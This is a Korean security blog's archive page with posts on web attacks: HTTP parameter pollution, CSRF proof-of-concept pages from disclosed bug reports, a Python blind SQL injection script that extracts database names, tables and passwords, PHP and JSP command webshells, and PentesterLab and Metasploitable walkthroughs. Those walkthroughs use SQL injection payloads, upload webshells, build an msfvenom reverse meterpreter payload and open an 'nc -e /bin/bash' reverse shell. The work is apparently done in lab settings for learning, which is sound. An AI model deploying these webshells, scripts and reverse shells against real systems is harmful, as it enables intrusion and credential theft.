레이블이 WEB인 게시물을 표시합니다. 모든 게시물 표시
레이블이 WEB인 게시물을 표시합니다. 모든 게시물 표시

2019. 11. 27.

HTTP Parameter Pollution (HPP) 취약점

HTTP Parameter Pollution 취약점을 줄여서 HPP 라고 부른다.
HTTP 파라미터 오염 취약점은 서버단과 클라이언트 단 에서 설명이 가능하다.

[서버단] 

https://backend.example/doTransfer.php
파라미터 : toAccount=9844&amount=1000&fromAccount=12345

이를 toAccount=9844&amount=1000&fromAccount=12345&toAccount=99999

[클라이언트 단]

<? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?>
<a href="/page.php?action=view&par='.<?=$val?>.'">View Me!</a>

이러한 php 소스가 있다고 하자

http://host/page.php?par=123%26action=edit 이라고 par의 인자값을 전달하면

<a href="/page.php?action=view&par=123&amp;action=edit">View Me!</a>
위와 같이 action 값이 view 가 아니라 edit 으로 변경되는 경우도 있다

위 자료(https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004))를 보면 어느 파라미터가 유효한지 확인 할 수 있다. 즉, 같은 이름으로 중복 파라미터가 제공되도록 해서는 안된다. 아래 사례를 보면 꽤 위험한 취약점 임을 알 수 있다.

(사례)

Twitter Unsubscribe Notifications

트위터에서 온 이메일을 unsubscribe 하기 위해 버튼을 눌를 때, 다음과 같은 url이 사용된다.

  • https://twitter.com/i/u?t=1&cn=bWV&sig=657&iid=F6542&uid=1134885524&nid=22+26
해커는 UID 를 변경해보았지만, 에러페이지가 리턴된다. 


HPP 취약점을 이용하여 기존 UID 파라미터 앞에 새로운 파라미터값을 삽입한 후 전달하면 성공이 된다. 즉 다른 사람의 계정의 메일링이 해지가 되는 것이다.

  • https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26

비슷한 사례로, twitter 에서는 사용자를 팔러우하거나 좋아요를 하거나 리트윗을 하거나 트윗을 하거나 할 수 있는데 이러한 4개 행위에 대해서 HPP 취약점이 있었다.

예를 들면, 팔로우 하기 위한 URL이 다음과 같이 변경될 수 있다.

  • https://twitter.com/intent/follow?screen_name=twitter&screen_name=test1234

또 다른 시나리오는 다음과 같다

정상적인 흐름
  • read.jsp?num=7  -> board.jsp?cmd=read&num=7

공격 흐름
  • read.jsp?num=7%26cmd=delete
  • board.jsp?cmd=read&num=7&cmd=delete

# 참고
  • web-hacking-101
  • https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
  • https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents/

Continue reading

2019. 9. 24.

웹 서버와 구조의 이해

웹 애플리케이션 서버와 웹 프레임워크 구조의 이해

웹 애플리케이션 서버는 정적 페이지와 동적페이지 요청을 모두 처리할 수 있다. 정적 페이지는 html, javascript, css 처럼 미리 작성되어 있어 서버 측의 실행이 요구되지 않는 응답 페이지를 의미하며, 동적 페이지는 서버 측에서 무엇인가를 실행해 요청에 따라 생성되는 응답 페이지를 의미한다.

웹 서버는 사용자의 요청을 수신하면 로컬 저장소의 경로에서 해당 파일을 찾아 응답(Response)한다. 하지만 동적인 요청을 수신하게 되면 동적 요청을 처리할 수 있는 웹 애플리케이션을 호출하게 되는데 PHP는 라이브러리.so 형태로 ASP는 동적링크파일인 dll, JSP는 자바 클래스로 변환되어 class 형태로 기능을 구현해 서비스한다.

서블릿은 웹 서비스를 위한 인터페이스로 HTTP 요청을 처리할 수 있는 규격이다. 서블릿은 독자적으로 실행되지 않고 서블릿 컨테이너에 등록된 후 서블릿 컨테이너에 의해 생성 호출 소멸된다. JSP는 HTML 과 자바 코드를 혼용해 사용할 수 있도록 정의된 텍스트 파일로 JSP 파일이 실행되기 위해서는 먼저 서블릿 클래스로 변환 작업이 이뤄줘야 한다.

서블릿 컨테이너는 서블릿을 관리하며 네트워크 통신, 서블릿의 생명주기 관리, 스레드 기반의 병렬 처리를 수행하는 JVM이다. 서블릿 컨테이너는 웹 요청을 처리하기 때문에 웹 컨테이너라고 부르기도 한다.


위 그림은 애플리케이션 서버의 처리 구조를 도식화 한 것으로 사용자가 JSP 를 요청하면 서블릿 컨테이너는 먼저 JSP 를 서블릿 클래스로 변환해 서블릿 컨테이너에 로드한다. 서블릿 컨이너는 사용자의 요청을 HttpServletRequest 객체로 생성하고 응답을 위해 HttpServletRequest 객체를 생성해 요청을 처리할 서블릿에 전달한다. 서블릿 클래스는 처리 결과를 HttpServlet Response 객체의 출력 스트림을 통해 반환한다.

Continue reading

2019. 1. 11.

[WEB] 버프스위트 필터 기능 팁

버프스위트 필터 기능 활용할때 유용한 팁 하나를 기록한다.

Proxy - http history 에서 필터를 클릭하면 다양한 옵션을 지정 할수 있다

잘 활용하면 아주 편리하다.

Filter by search item 에 찾고자하는 문자열 넣으면 해당 문자열이 포함되어 있는 항목만 출력된다.

Case sensitive 는 대소문자 구별
Regex 에는 정규표현식
Negative search는 입력하는거 빼고 나머지 출력


Continue reading

2019. 1. 2.

[트러블슈팅] 특정 페이지에 패킷이 잡히지 않을때

문제.
특정 메뉴에 접속하려고 하는데(예를 들어 게시판) proxy 로 잡은 후 forward forward 하면 접속이 안된다.
게시판 페이지가 뜨기 까지 총 3번 요청을 보내야 하는데 , 1번만 요청되고 서버로부터 sessionOK 문자열이 전달되면서 더 이상 요청이 안된다.

즉, 1,2,3 세개 요청을 보내는데 통신 시간을 체크하는것으로 보인다. 때문에 패킷을 잡으면 정해진 통신 시간과 맞지 않기 때문에 통신이 드랍된다.
해결책으로 첫번째 요청과 응답을 아애 인터셉트 안하도록 함으로써 바로 2번째 패킷을 잡는다.

[조치설정]
'요청값 인터셉트 정책 변경'

1) 맨 처음 요청 uri 을 does not match 로 한다.

Proxy > Options > Intercept client requests > add 로 이동

boolean Operator : And
match type : URL
Match Realationship : Does not match
Match condition : 맨처음 요청값 uri

2) 응답값 body 에 찍힌 문자열을 does not match 로 한다.
'응답 인터셉트 정책 변경'

Boolean operator : And
Match type : body
Match relationship : does not match
Match condition : session ok (body에 포함된 문자열) 

Continue reading

2018. 10. 28.

CSRF poc 코드

CSRF 취약점은 특정 사용자를 대상으로 하지 않고, 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 하게 만드는 공격이다.

XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 사용자가 악성 스크립트를 서버에 요청한다는 차이가 있다.

POST 로 진행 될 경우, 다음과 같이 CSRF 공격을 할 수 있다.
공격자는 이미 특정 물품을 구매하여 장바구니에 넣어두고, 해당 물품에 대한 결재를 다른 이를 통해 다음과 같은 형태로 수행 할 수 있다.


<html>
<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>
</html>

위 형태로 HTML 파일 형태로 저장을 해도 되고, 게시판 형태에 아래의 내용을 삽입 할 수 있다.


<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/mainadmin/order/order.jsp" method="POST">
<input type="hidden" name="uid" value="nike">
<input type="hidden" name="mode" value="pay_for_order">
<input type="hidden" name="amount" value="10000">
</form>
</body>

일반적으로 CSRF 가 성립하려면 수정/삭제/등록 등을 하는 액션에서 사용자를 구문하는 파라미터 값이 존재하지 않아야 한다. 특정 사용자를 구분하는 인수가 있으면 하나의 사용자에게만 적용되거나 인증 과정을 통해 CSRF 공격을 막을 수 있다.

------------------



case 1) 실사례를 보자, CSRF 취약점을 이용해서, 프로필의 트위터 계정을 연결해제를 시킬 수 있는 취약점이 존재하였다.

Vulnerable request
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=bmpuTE5EdnUvYUU0eGxJRk1kMWo5WkI3Wmh1clJkempOTDcya2R3eFNIMG8zWGdpenMvTXY4eFczTWUrNGRQeXV4ZGVycEVtTDZWcFZVbEg1eEtFQjhzSEJVbkM5K05VUVJaeHVtNXBnNTJCNTdwZ2hLL0x0Kyt4eUVlSjRIOWdYTkcwd1NQWWJnbjRNaTF5UXlwa1ZIUlAwR1JmZ1Y5WmRvN2ZHWFY5REZSUmlsR0lnMHZlSjR1OTlTMW5xWDdZRnVGSnBSeEhqbWpNS3lYZmxBNjZoVE00L3pQT2NMd1NONkdwb2pkMXhDS1E2M2RXYlovZjYwaUZnV0JQKzQySlN0MTNKNG55Zlg2azFDdVJJL3RidmJMM0VJNmRVejhZbjVDTnFZNmxFN0k9LS1lY1Y2dnpBZTJCalZzS014SldFUllBPT0%3D--77463ef21e4c8ef530f466db49f78b8e1c2e1129; _ga=GA1.2.469272249.1453024796; _gat=1
Connection: keep-alive

POC code

<html>
<body>
 <img src="https://twitter-commerce.shopifyapps.com/twitter/disconnect">
  </body>
</html>
// img 태그로 사이트에 요청(request)을 하는 방법도 있다는 것.
재현 절차

  • https://madamcury.myshopify.com/admin/apps/shopify-twitter에서 twitter 어플리케이션을 추가한다.
  • twitter 계정을 연동한다.
  • 위의 poc 코드를 이용해서 twitter 계정을 끊는다.


즉, POC 코드를 실행하는 것 만으로, 로그인된 사용자가 자신의 의지와는 무관하게 연동된 트위터 계정을 끊게 되는 것이다.

관련 사이트

  • Twitter Disconnect CSRF - https://hackerone.com/reports/111216


-----------------

case 2) get 메소드로 전송되는 앱 아이디 (숫자)를 자신의 아이디로 임의로 변경하여 서버에 전달

<html>
<head><title>csrf</title></head>
<body onLoad="document.forms[0].submit()">  <!-- 프로그램이 기동될때 submit 이 작동하도록 <input type="submit">  -->
<form action="https://app.shopify.com/services/partners/api_clients/1105664/
export_installed_users" method="GET">
</form>
</body>
</html>

submit 이란 함수는 input 또는 textarea 값을 저장해서 get/post 형식으로 데이터를 넘겨주는 함수이다. submit를 하기 위해서 먼저 form 을 이해해야 한다.
<formname="name" method="post" action="abc.jsp" id=frmtest">
폼의 이름이 name 이고 post 방식, 그리고 데이터 넘겨줄 페이지가 abc.jsp 라고 정의한 것이다.
이 폼을 submit 하기 위해서는 submit 버튼이 필요하다.
<input type="submit" value="전송">
하지만 위와 같이 클릭이 아닌, 이벤트로 submit 을 실행하기 위해서는 javascript를 사용해야 한다.



위에서 1105664를 본인의 app ID로 바꾸고 서버에 전달한다.


case 3)badoo 라는 앱 데이팅 사이트에서 CSRF 취약점이 발견된 사례이다.

badoo에서 로그인된 사용자가 gmail 연동할때, 사용자는 badoo에게 gmail 계정 사용을 위한 권한을 부여한다. 그리고 나서 아래 url로 리다이렉트 된다.

https://eu1.badoo.com/google/verify.phtml?rt=<State_param_value>&code=<Code_returned_from_google>

여기서부터 시작이다. CSRF 공격을 막기위해서는 위의 사용자/세션을 위한 고유정보인 rt 파라미터를 보호하는 것이다. 해커는 거의 모든 json 응답값에서 rt 파라미터가 반환되는것을 알았다.

https://eu1.badoo.com/worker-scope/chrome-service-worker.js
위의 javascript 파일에 rt 파라미터 값이 아래와 같은 형태로 포함되어 있는것을 발견했다.


var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<rt_param_value>';

(지금 확인해 보니 저렇게 변경되었다.)


이를 통해, 맨 처음에 보았던 gmail 계정을 연동할 때 받았던 url 에 위 rt 파라미터 값을 삽입하여 세션을 탈취할 수 있다.



<html><head><title> Badoo account take over </title>
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
</head>
<body>
<script>
function getCSRFcode(str) {
    return str.split('=')[2]; // = 를 기준으로 자르고 0,1,2 즉 3번째 문자열 반환, 예를 들면 how=old=are=you 라면 are 를 반환
}
window.onload = function(){   // 시작시 사용될 내용
var csrf_code = getCSRFcode(url_stats);  // rt 파라미터 값을 얻는다.
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt='+ csrf_code;
window.location = csrf_url;
};
</script>

공격자가 자신의 gmail, facebook 계정을 희생자의 badoo 계정으로 연동하면, 공격자는 희생자의 badoo 계정을 획득할 수 있다.

#관련 근거

  • https://hackerone.com/reports/127703


#참고

  • http://terms.naver.com/entry.nhn?docId=3431919&cid=58437&categoryId=58437

Continue reading

2018. 9. 27.

[웹 취약점] blind sql 인젝션 자동화 스크립트

#!/usr/bin/python
import urllib, urllib2
import sys
 
# Connect URL
def urlcon(query):
    method = "id=" + urllib.quote(query)   # url encode
    #method += "&"
    #method += "pw=asd"
 
    url = urllib2.Request('http://testsite.com/cat.php?' + method)
    s = urllib2.urlopen(url)
 
    result = s.read()
 
    s.close()
 
    # Check
    if result.find("hacker") == -1:
        return 0    # failed
    else:
        return 1    # success
 
# Get a current DB Name
def get_db():
    length = 0
    db = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(database())), 1, 2) = '{0}'#".format(i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select database()), {0}, 1)) = '{1}'#".format(i+1, j)
            if urlcon(query) == 1:
                db += chr(j)
                break
        print db
 
    print "================================================================="
    print "Result : " + db
 
    return db
 
# Get Tables
def get_table():
    tlist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(table_name) from information_schema.tables where table_type='base table' limit {0},1),1,2) = '{1}' #".format(index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        table = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((seltect table_name from information_schema.tables where table_type='base table' limit {0},1),{1},1)) = '{2}' #".format(index, i+1, j)
                if urlcon(query) == 1:
                    table += chr(j)
                    break
            print table
        tlist.append(table)
        index += 1
 
    print tlist
    return tlist
 
# Get Columns
def get_column(table):
    clist = []
    index = 0
 
    while 1:
        length = 0
        for i in range(1, 30, 1):        # Get Length
            query = "1 or 1=1 and substr((select length(column_name) from information_schema.columns where table_name='{0}' limit {1},1),1,2) = '{2}' #".format(table, index, i)
            if urlcon(query) == 1:
                length = i
                break
 
        if length == 0:
            print "================================================================="
            print "Complete"
            break
        
        print "Length : {0}".format(length)
        column = ""
        for i in range(length):
            for j in range(0, 127, 1):
                query = "1 or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='{0}' limit {1},1),{2},1)) = '{3}' #".format(table, index, i+1, 

j)
                if urlcon(query) == 1:
                    column += chr(j)
                    break
            print column
        clist.append(column)
        index += 1
 
    print clist
    return clist
 
# Get a Value
def get_value(table, ID):
    length = 0
    pw = ""
 
    for i in range(1, 30, 1):        # Get Length
        query = "1 or 1=1 and substr((select length(pw) from {0} where id='{1}' limit 0,1),1,2) = '{2}' #".format(table, ID, i)
        if urlcon(query) == 1:
            length = i
            break
    
    print "Length : {0}".format(length)
    
    for i in range(length):
        for j in range(0, 127, 1):
            query = "1 or 1=1 and ascii(substr((select pw from {0} where id='{1}' limit 0,1),{2},1)) = '{3}' #".format(table, ID, i+1, j)
            if urlcon(query) == 1:
                pw += chr(j)
                break
        print pw
 
    print "================================================================="
    print "Result : " + pw
 
    return pw
 
# Main Function
if __name__ == '__main__':
    print "================================================================="
    print "Blind SQL Injection"
    print "=================================================================\n"
 
    argc = len(sys.argv)
    if argc >= 2:
        if int(sys.argv[1]) == 1:
            get_db()
        elif int(sys.argv[1]) == 2:
            get_table()
        elif (int(sys.argv[1]) == 3) and sys.argv[2]:
            get_column(sys.argv[2])        # Table Name is "accounts".
        elif (int(sys.argv[1]) == 4) and sys.argv[2] and sys.argv[3]:
            get_value(sys.argv[2], sys.argv[3])    # Table Name is "accounts", ID is "tribal".
        else:
            print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])
    else:
        print "Usage : {0}  [Table Name] [ID]".format(sys.argv[0])

실행 결과

해결이 필요한 점
  • table_type='base table' 은 사용자가 만든 table을 의미한다.
  • pentesterlab 환경에서는 mysql 에서 select table_name from information_schema.tables where table_type='base table' 로 실행하면 26개의 결과가 출력되는지 왜 스크립트를 실행하면 3개만 나온다.


출처
  •  http://tribal1012.tistory.com/150

Continue reading

2018. 9. 17.

php :: (스코프 해결 연산자)

php 소스코드를 보면 :: 문자열을 볼 수 있다. 이는 static 이나 constant 와 클래스의 재정의된 프로퍼티나 메서드에 접근할 수 있도록 해주는 토큰이다.

class MyClass {
    const CONST_VALUE = 'A constant value';
}

$classname = 'MyClass';
echo $classname::CONST_VALUE; // As of PHP 5.3.0

echo MyClass::CONST_VALUE;

위와 같이 클래스 정의의 외부에서 이 항목들을 참조 할 때, 클래스의 이름을 사용한다.

Continue reading

[웹취약점] 소스코드 취약점 점검

소스코드 취약점 점검 관련 간단히 메모


1. 윈도우 일 경우, AstroGrep, Brackets, Everything

2. 유닉스 일 경우는 그저 find, grep,vi 로 다 해결된다.

** grep 명령어 예시
grep -H id /var/www/* 
-> /var/www/ 의 모든 폴더에서 'id' 라는 문자열을 포함하고 있는 모든 파일을 리스트업

grep -iH id /var/www/*
 -> i 를 붙임으로서 대소문자 구별 안함


grep -riH select /var/www
--> -r 옵션으로 하위 디렉토리에 있는 파일까지 검색한다.

** 리눅스 배포판에 따라 grep의 하위 디렉토리 검색이 안되는 경우도 있다고 한다.
그럴 경우, find . -name "*" | xargs grep -n "찾고자 하는 문자열"

find 를 같이 쓰면 좋은 점은 검색할 파일 유형을 지정할 수 있다. 예를 들어 하위 디렉토리의 모든 .c 파일, .h 파일에 대해서만 검색을 수행하고자 할때는 다음과 같이 할 수 있다.

find . -name "*.[ch]" | xargs grep -n "찾고자 하는 문자열"

vi 창 여러개 띄우기
-> sp /var/www/test.php // test.php 가 생긴다.
-> sp는 상하로 분할 하는것, vs 좌우로 분할 하는 것

vi에서 shell 실행하기
:shell 또는 :sh 로 쉘을 빠져나가서 명령어를 실행할 수 있다. 작업 후 exit 또는 ctrl+D 이용해서 다시 vi로 돌아갈 수 있다.



Continue reading

2018. 9. 10.

간단 웹쉘 jsp

/* PHP Version URL CMD WebShell           */

/* 사용법 : hxxp://URL/cmd.php?cmd=명령어 */



<?

        echo "

                <FORM ACTION=$PHP_SELF METHOD=POST>

                CMD : <INPUT TYPE=TEXT NAME=command SIZE=40>

                <INPUT TYPE=SUBMIT VALUE='Enter'></FORM>

                <HR>n<XMP>n$resultn</XMP><HR>";



        $command = str_replace("\", "", $command);

        echo "<XMP>"; passthru($command); echo "</XMP>";

?>







/* JSP Version URL CMD WebShell           */

/* 사용법 : hxxp://URL/cmd.jsp?cmd=명령어 */



<%@ page import="java.io.*" %>

<%

    try {

            String cmd = request.getParameter("cmd");

            Process child = Runtime.getRuntime().exec(cmd);

            InputStream in = child.getInputStream();

            int c;

          

            while ((c = in.read()) != -1) {

                out.print((char)c);

            }

          

            in.close();

          

            try {

                child.waitFor();

            } catch (InterruptedException e) {

                e.printStackTrace();

            }

    } catch (IOException e) {

        System.err.println(e);

    }

%>

Continue reading

2018. 8. 6.

[PentestrLAB] from sql to shell 취약점 점검


PentesterLab 의 from sql to shell 에 관해 취약점 점검을 해본다.

만약 대역을 지정하고 살아있는 호스트를 검색한다면 nmap -sn x.x.x.x/24 라고 검색했을텐데 나는 특정 호스트의 IP 를 알고 있기 때문에 바로 상세 스캔을 진행한다.

# nmap 구동
nmap -sT -sV -A -O -v -p 1-65535 192.168.203.131


스캔 결과 80번 포트가 열려있고 Apache httpd 2.2.16 (Debian) 사용중이라는 정보를 얻을 수 있었다. 


# dirb 구동

# nikto 구동

# sql 인젝션 취약점 발견

1) union 방식








192.168.203.131/cat.php?id=1 에서 취약점을 확인하려 한다.

[order by 를 통한 취약점 확인]
http://testsite.com/cat.php?id=1 order by 1#
http://testsite.com/cat.php?id=1 order by 2#
http://testsite.com/cat.php?id=1 order by 3#
http://testsite.com/cat.php?id=1 order by 4#
http://testsite.com/cat.php?id=1 order by 5# -> 컬럼 갯수가 4개라면 order by 5에서 에러 발생 (여기서 컬럼이란, id, title, img, cat 이런 것을 의미함)


[having 을 통한 취약점 확인, mssql 인 경우만 해당됨]
testsite.com/cat.php?id=1 having 1=1#  --> 취약점이 있다면 에러발생

[union all select 를 통한 취약점 확인]
select * from test where id=1 union all select null; 
select * from test where id=1 union all select null, null; 
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null;
select * from test where id=1 union all select null, null, null,null;
select * from test where id=1 union all select null, null, null,null,null; --> 컬럼 갯수가 4개라면 5개 null 을 통해 에러 발생

[참 거짓으로 취약점 확인]
testsite.com/cat.php?id=1 or 1=1# -> 모든 컬럼이 노출되면 취약점 존재

[time 기반 취약점 확인]
testsite.com/cat.php?id=1 and sleep(5)# -> 5초후에 페이지가 뜬다면 취약점 존재

[정수기반 취약점 확인]
testsite.com/cat.php?id=2-1  -> id =1 일때와 동일한 결과를 출력하므로 취약

[취약점 존재가 확인되었고 데이터 출력을 시도함]
testsite.com/cat.php?id=1 union all select null,null,null,null; ->  데이터 출력 위치를 확인한다
testsite.com/cat.php?id=1 union all select null,@@version,null,null; -> 두번째 컬럼에서 함수가 실행되어 5.1.63-0+squeeze1가 출력되는 것을 알 수 있다.mysql 임을 확인하였다.

http://testsite.com/cat.php?id=1 union all select null,schema_name,null,null from information_schema.schemata; --> 스키마 name을 확인하였고, information_schema, photoblog라는 이름을 얻었다, 참고로 mysql 은 출력이 안됨


http://testsite.com/cat.php?id=1 union all select 1,database(),3,4; -->현재 사용하고있는데이터베이스 명을 알 수 있다.photoblog 이다.


http://testsite.com/cat.php?id=1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database(); --> 현재 사용하고 있는 데이터베이스 안에 있는 테이블을 알 수 있다. 

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema in (0x70686f746f626c6f67) --> 데이터베이스가 phtoblog 인지 알았으니 in (헥스값) 으로 진행 할 수 있다.




http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name in (0x7573657273) --> 이와 같은 방식으로 users(0x7573657273) 테이블의 컬럼( id, login, password ) 를 알 수 있다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=users -->이유는 모르겠지만 table_name=users 는 적용이 실행이 안된다.

http://testsite.com/cat.php?id=1 union all select 1,group_concat(concat_ws(0x3a,id,login,password)),3,4 from users; --> concat_ws를 사용하여 : 구분자를 이용한 데이터 출력이 가능하다. 1:admin:8efe310f9ab3efeae8d410a8e0166eb2라고 데이터를 확인 할 수 있다.

2) boolean 참 거짓 을 이용한 방법

** 풀네임으로 찾는 방법
http://testsite.com/cat.php?id=1 and (select 2 from users)=2  --> 이와 같이 users 라는 테이블이 있는지 직접적으로 확인 할 수 있다.
** 문자 하나하나씩 찾는 방법

# upload 공격
앞의 sql 인젝션 공격에서 관리자 계정을 취득하였다. (admin/P4ssw0rd)

192.168.203.131/admin 으로 접속해서 로그인을 하면 파일 업로드하는 페이지가 존재함을 확인하였다. (http://192.168.203.131/admin/new.php)

아래의 php 웹쉘 파일을 올려보겠다.


그러나 웹 사이트에서 php파일을 차단하였다. 그러나 php3 으로 변경하고 업로드 하니 성공하였다.

앞서 dirb 로 확인한 디렉토리 리스팅 취약점을 이용해 웹쉘파일을 실행하면 다음과 같이 웹쉘을 취득 할 수 있다.

nc를 이용해서 실제 쉘을 취득하려 한다.


** metasploit handler 를 이용하여 쉘 취득

1. msfvenom 을 이용해서 리버스 파일을 제작한다.
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.203.135  LPORT=4444 -f raw > shell.php
2. 파일을 업로드 한다. 업로드가 안되면 php3 등으로 바꿔본다.
3. 업로드에 성공하고 업로드 파일을 실행이 가능하게 된다.
4. kalil linux 에서 메타스플로잇을 실해하고 핸들러를 실행한다.

  • use multi/handler
  • set payload php_meterpreter_reverse_tcp
  • set lhost 192.168.203.135(공격자 ip)
  • set lport 4444
5. 핸들러 쉘의 정보는 위에서 만든 리버스 파일의 정보와 동일해야 한다.
6. run 또는 exploit 으로 핸들러를 실행한다. 
7. 웹에서 업로드한 리버스 파일을 실행하면 meterpreter 쉘이 떨어진다.



# 참조

  • http://poqw.tistory.com/24
  • https://medium.com/@Kan1shka9/pentesterlab-from-sql-injection-to-shell-walkthrough-7b70cd540bc8

Continue reading

2018. 8. 2.

[metasploitable] webdav 취약점

칼리리리눅스에서 webdav 관련 공격을 수행할 수 있는 프로그램 : davtest

/usr/bin/davtest -url http://192.168.203.130/dav



공격 결과 php, jsp, html 파일의 업로드가 가능했다. 즉 php 웹쉘 업로드가 가능하다는 것이다.

공격을 수행하면 웹쉘이 올라간 것을 알 수 있다.

웹쉘을 얻게 되면 nc를 이용해서 실제 쉘을 얻는것도 가능하다.

kali linux 에서 nc -lvnp 4444 명령어로 리스닝을 한다.
그리고 웹에서 nc [kali linux ip] 4444 -e /bin/bash 로 연결 할 수 있다.


Continue reading

2018. 7. 31.

[metasploitable] nmap, 메타스플로잇, 인터프리터

service postgresql start // postgresql 실행
msfdb init // db를 초기화 한다.

msfconsole
db_status // db가 잘 연결되어있는지 확인 할 수 있다.

nessus 결과나, sparta, nmap 등을 통해 나온 결과를 통해 공격 취약점을 선별한다.

db_nmap 192.168.56.107 -sV



# vsftp 2.3.4 공격
위 결과 중 21번 포트에 vsftpd 2.3.4 가 동작 중인 것을 알 수 있다.

vsftpd 2.3.4 버취약함이 존재하는지 확인하려면
search vsftpd 라고 입력한다. 검색 속도가 느리다면 db_rebuild_cache 라고 입력하면 속도가 빨라진다


검색 결과 2.3.4 버전 모듈이 존재한다. excellent 랭크를 보아하니 작동률이 아주 높다는 것이다.

use exploit/unix/ftp/vsftpd_234_backdoor
show options



현재 RHOST 부분 설정이 비어있으므로 세팅을 해야한다. set 명령어로 셋팅을 하고나면 다음과 같이 데이터가 삽입된다.


모든 준비가 완료되었고 run 을 입력하면 공격이 수행되며, 그 결과로 쉘을 찾을 수 있다.


진행하고 있는 공격을 ctrl z 명령어로 백그라운드에 돌리고 sessions 명령어로 원하는 세션만 가져올 수도 있다.

# SAMBA 취약점 공격

nmap 결과를 보면 samba smbd 3.x - 4.x  라고 표시되어 있다. 버전을 정확히 알기 위해서 다음 명령어를 수행한다.

use auxiliary/scanner/smb/smb_version

auxiliary 는 쉘을 얻어내는것이 아니라 정보를 얻어낼 때 사용한다.


search samba 로 공격 모듈을 검색해보면 상당히 많이 나온다. 이것을 일일이 실행하는것은 좋은 방법이 아니다. 왜냐하면 공격시스템의 메모리가 과부화되어 다운 될 수도 있기 때문이다. 최대한 정확한 모듈을 찾는것이 좋은데 이럴때 구글을 활용하면 좋다.
구글에서 samba 3.0.20 metasploit 이라고 검색한다.


username map script 라는 스크립트를 찾았다. search username_map_script 로 검색한 후 공격을 수행하면 된다. 수행 결과 관리자 쉘을 얻을 수 있다.

실행하기 전에 페이로드를 사용해 본다. 공격이 성공하고 난 후 어떤 작업을 할지 정해주는 것이다. show payloads 를 입력하면 해당 모듈안에서 사용할 수 있는 payloads를 볼 수 있다. 방화벽이 있는 공격 대상의 경우 reverse shell 공격을 해야하므로 이때 유용하게 사용된다.

show payloads 로 확인 한 후 set payload cmd/unix/bind_perl 명령어로 페이로드를 지정한다.  (reverse 쉘을 이용하려면 /cmd/unix/reverse 를 입력한 후 공격을 수행한다.

단 reverse 쉘을 수행하려면 아래의 LHOST를 자신의 IP로 입력해야 한다. 서버쪽에서 해커의 PC로 붙어야 하기 때문이다.



# SLMAL 취약점 공격

use windows/pop3/seattlelab_pass
set payload windows/meterpreter/reverse_tcp



meterpreter 프롬프트를 띄워준다.  meterpreter 는 기존 쉘 보다 더 강력한 기능을 많이 제공한다.



Continue reading

kali linux 에 nessus 설치


# nessus 설치 및 이용
  • https://www.tenable.com/downloads/nessus 에서 Nessus-7.1.2-debian6_amd64.deb 를 다운받는다.
  • https://www.tenable.com/products/nessus-home 에서 activation code를 받아야 한다.

패키지를 푼다. dpkg -i Nessus-7.1.2 파일명


패키지를 풀고 /etc/init.d/nessus start

https://localhost:8834

스니핑 실습


** nessus 접속 패스워드를 분실 했을 때는 다음과 같이 수행한다.
cd /opt/nessus/sbin
./nessuscli lsuser // id를 확인 할 수 있다
./nessuscli chpasswd 사용자id // 패스워드를 변경 할 수 있게 된다.


Continue reading

2018. 7. 30.

[웹 취약점] 정보 수집 (패시브 스캐닝 / 액티브스캐닝)

정보 수집은 패시브 스캐닝과 액티브 스캐닝 단계로 구분된다.

1) 패시브 스캐닝
패시브 스캐닝은 공개되어 있는 정보를 수집하는 것이다.

* 구글 해킹

site naver.com -filetype pdf
inurl 은 특정 문자열을 포함한 검색 결과를 찾을때 사용된다
inurl :admin 관리자 페이지를 검색할때 사용
inurl index.php id=
intitle "index of"
intitle "index of" pdf

* whois/netcraft/whatweb
whois  와 netcraft (http://searchdns.netcraft.com/) 역시 공개되어 있는 정보 수집에 유용하다.

간단하게 사용할 수 있는 whatweb 역시 유용하게 사용된다.

* shodan
city 검색 결과를 주어진 도시내로 한정하여 보여준다. (ex. apache city:”Zürich”)
country 검색 결과를 주어진 국가내로 한정하여 보여준다. (ex. nginx country:DE)
